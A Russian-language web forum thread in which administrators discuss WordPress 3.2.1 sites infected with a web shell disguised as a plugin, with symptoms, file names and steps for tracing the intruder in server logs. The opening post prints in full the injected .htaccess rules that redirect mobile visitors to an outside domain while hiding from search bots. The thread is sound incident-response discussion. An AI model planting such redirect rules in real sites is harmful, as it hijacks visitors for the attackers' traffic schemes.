WP 3.2.1 [уязвимость]

12
Mad_Man
На сайте с 10.11.2008
Offline
162
4025

Собственно сталкиваюсь уже второй раз за полторы недели. Пока что самой высокой версией WP, которую заметил инфицированной, является 3.2.1.

Уязвимость в инсталлере плагинов, который позволяет установить шелл под видом плагина из-за недостаточной фильтрации данных.

Сам шелл можно лицезреть здесь.

Симптомы:

  • повышенная нагрузка (вплоть до DoS) с IP ботов мэйнлинка и линкфида.
  • в /wp-content/plugins/ папки с шеллами имеют названия вида zxaiawuquya и zlfmjbpfmbc.
  • в /wp-content/uploads/ те же шеллы, но в упакованном виде для инсталла.
  • шелл имеет стандартное название gsm.php.
  • ClamAV детектит шелл как Trojan.PHP.C99Shell. Шелл 2009 года в новой обёртке для WP.

Последствия:

  • линкфид, мэйллинк и другие биржи ссылок.
  • все .htaccess в пределах досягаемости содержат следующие перенаправления:
  • RewriteEngine on
    RewriteCond %{HTTP_USER_AGENT} acs [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} alav [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} alca [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} amoi [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} audi [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} aste [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} avan [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} benq [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} bird [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} blac [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} blaz [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} brew [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} cell [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} cldc [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} cmd- [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} dang [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} doco [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} eric [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} hipt [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} inno [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} ipaq [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} java [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} jigs [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} kddi [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} keji [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} leno [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} lg-c [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} lg-d [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} lg-g [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} lge- [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} maui [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} maxo [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} midp [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} mits [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} mmef [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} mobi [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} mot- [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} moto [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} mwbp [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} nec- [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} newt [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} noki [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} opwv [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} palm [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} pana [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} pant [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} pdxg [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} phil [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} play [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} pluc [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} port [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} prox [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} qtek [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} qwap [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} sage [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} sams [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} sany [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} sch- [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} sec- [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} send [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} seri [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} sgh- [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} shar [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} sie- [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} siem [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} smal [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} smar [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} sony [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} sph- [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} symb [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} t-mo [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} teli [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} tim- [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} tosh [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} tsm- [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} upg1 [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} upsi [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} vk-v [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} voda [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} w3cs [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} wap- [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} wapa [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} wapi [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} wapp [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} wapr [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} webc [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} winw [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} winw [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} xda [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} xda- [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} up.browser [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} up.link [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} windows.ce [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} iemobile [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} mini [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} mmp [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} symbian [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} midp [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} wap [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} phone [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} pocket [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} mobile [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} android [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} Android [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} pda [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} PPC [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} Series60 [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} Opera.Mini [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} Moby [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} Mobi [NC,OR]
    RewriteCond %{HTTP_ACCEPT} "text/vnd.wap.wml|application/vnd.wap.xhtml+xml" [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} !ipad [NC]
    RewriteCond %{HTTP_USER_AGENT} !iphone [NC]
    RewriteCond %{HTTP_USER_AGENT} !iPad [NC]
    RewriteCond %{HTTP_USER_AGENT} !iPhone [NC]
    RewriteCond %{HTTP_USER_AGENT} !windows.nt [NC]
    RewriteCond %{HTTP_USER_AGENT} !bsd [NC]
    RewriteCond %{HTTP_USER_AGENT} !x11 [NC]
    RewriteCond %{HTTP_USER_AGENT} !unix [NC]
    RewriteCond %{HTTP_USER_AGENT} !macos [NC]
    RewriteCond %{HTTP_USER_AGENT} !macintosh [NC]
    RewriteCond %{HTTP_USER_AGENT} !playstation [NC]
    RewriteCond %{HTTP_USER_AGENT} !google [NC]
    RewriteCond %{HTTP_USER_AGENT} !yandex [NC]
    RewriteCond %{HTTP_USER_AGENT} !bot [NC]
    RewriteCond %{HTTP_USER_AGENT} !libwww [NC]
    RewriteCond %{HTTP_USER_AGENT} !msn [NC]
    RewriteCond %{HTTP_USER_AGENT} !america [NC]
    RewriteCond %{HTTP_USER_AGENT} !avant [NC]
    RewriteCond %{HTTP_USER_AGENT} !download [NC]
    RewriteCond %{HTTP_USER_AGENT} !fdm [NC]
    RewriteCond %{HTTP_USER_AGENT} !maui [NC]
    RewriteCond %{HTTP_USER_AGENT} !webmoney [NC]
    RewriteCond %{HTTP_USER_AGENT} !windows-media-player [NC]
    RewriteRule ^(.*)$ http://wapaps.ru/?a=1364r274z4y2x4t2w4t2x2m274l2w266r2139433840364u2d413 [L,R=302]

Не удалось понять подвержены ли уязвимости более свежие версии WP, потому как в описании http://codex.wordpress.org/Version_3.3 нет ничего похожего на исправление уязвимости с установкой плагина.

В первую очередь интересуют хостеры, которые находили у своих клиентов сие чудо. Также интересуют версии инфицированных доноров.

KoDmAn
На сайте с 24.09.2009
Offline
42
#1

Установка плагинов возможна лишь под админом и php не фильтруется. По ссылке - плагин-обманка с уже вшитым шеллом.

Mad_Man
На сайте с 10.11.2008
Offline
162
#2
KoDmAn:
Установка плагинов возможна лишь под админом и php не фильтруется. По ссылке - плагин-обманка с уже вшитым шеллом.

Чо, правда? Под админом? Да я не знал!111 Плагин-обманка?! ПРАВДА?!!!1

Более шедевральные сообщения будут? Не, я не против выслушать посты от всех Копетанов этого форума.

Для инфы: в логах на период взлома следов брутфорса нет, потеря паролей маловероятна в течение 10 дней у совершенно двух разных клиентов. Причём в качестве целей были выбраны WP ветки 3.2.

KoDmAn
На сайте с 24.09.2009
Offline
42
#3
Mad_Man:
Чо, правда? Под админом? Да я не знал!111 Плагин-обманка?! ПРАВДА?!!!1

Более шедевральные сообщения будут? Не, я не против выслушать посты от всех Копетанов этого форума.

Для инфы: в логах на период взлома следов брутфорса нет, потеря паролей маловероятна в течение 10 дней у совершенно двух разных клиентов. Причём в качестве целей были выбраны WP ветки 3.2.

Ну не уязвимость это. Социальная инженерия и впендюривание зараженного плагина.

Mad_Man
На сайте с 10.11.2008
Offline
162
#4
KoDmAn:
Ну не уязвимость это. Социальная инженерия и впендюривание зараженного плагина.

Телепат штоле? Атсралогические познания из подпространства? Никто плагинов не ставил ни до, ни после заражения.

N
На сайте с 06.05.2007
Offline
419
#5

KoDmAn, чувааааак! сайт ломают и устанавливают плагин ! это следствие взлома, а не причина.

но все-таки, о чем пост? код плагина не поможет установить каким образом он там появился.

надо анализировать логи. те хостеры, которые делают репликацию mysql возможно смогут с помощью логов обновления базы установить время обновления таблиц с плагинами, поднять логи веба (access.log) и предположить как он проникает. но обычно они не могут и вообще не заинтересованы ни в чем подобном.

Если у вас есть серия бекапов, то можно попробовать установить в какой промежуток времени добавили плагин и за тот промежуток времени изучать логи вебсервера.

Кнопка вызова админа ()
Mad_Man
На сайте с 10.11.2008
Offline
162
#6
netwind:
но все-таки, о чем пост? код плагина не поможет установить каким образом он там появился.
надо анализировать логи. те хостеры, которые делают репликацию mysql возможно смогут с помощью логов обновления базы установить время обновления таблиц с плагинами, поднять логи веба (access.log) и предположить как он проникает. но обычно они не могут и вообще не заинтересованы ни в чем подобном.

Первый клиент на шареде, там логов не было на момент обращения. С ним понятно. Второй - впска, там логов на период взлома на полгига и выше, грепать в них - это ахтунг, проще найти инфицированного с определённой датой взлома и логом на метров пять.

netwind:
Если у вас есть серия бекапов, то можно попробовать установить в какой промежуток времени добавили плагин и за тот промежуток времени изучать логи вебсервера.

Частый бэкап всех сайтов с впски невозможен по той причине, что бэкапить будет часов 6.

22Striker22
На сайте с 13.04.2008
Offline
143
#7
Mad_Man:
Для инфы: в логах на период взлома следов брутфорса нет, потеря паролей маловероятна в течение 10 дней у совершенно двух разных клиентов. Причём в качестве целей были выбраны WP ветки 3.2.

Для 3.2.х вроде скуль был.

Волне возможно, что стырили хеши, дешифровали их и залили плагин.

Пароли сложные на админку были?

Ну, или этот вариант: ТЫЦ

TrueMediaPartner.com (https://truemediapartner.com/signup.php?id=4884). Download ПП + CPA. Более 10.000 офферов и никакого холда. Выплаты в баксах!
Mad_Man
На сайте с 10.11.2008
Offline
162
#8
22Striker22:
Для 3.2.х вроде скуль был.
Волне возможно, что стырили хеши, дешифровали их и залили плагин.
Пароли сложные на админку были?

Первый да, второй в базе хэшей быть должен.

22Striker22
На сайте с 13.04.2008
Offline
143
#9
Mad_Man:
Первый да, второй в базе хэшей быть должен.

Ну вот скорей всего и ответ.

exploit-db.com - проверь еще тут свои плагины установленные.

Lost
На сайте с 17.07.2003
Offline
64
#10
логов на период взлома на полгига и выше, грепать в них - это ахтунг

Ничего сложного:

1. найти в логах сервера первое обращение к gsm.php и выделить IP взломщика

2. найти там же ранние обращения с IP взломщика и узнать, как он взломал сайт.

Это сработает, если взломщик взломал и залил шелл с одного IP.

12

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий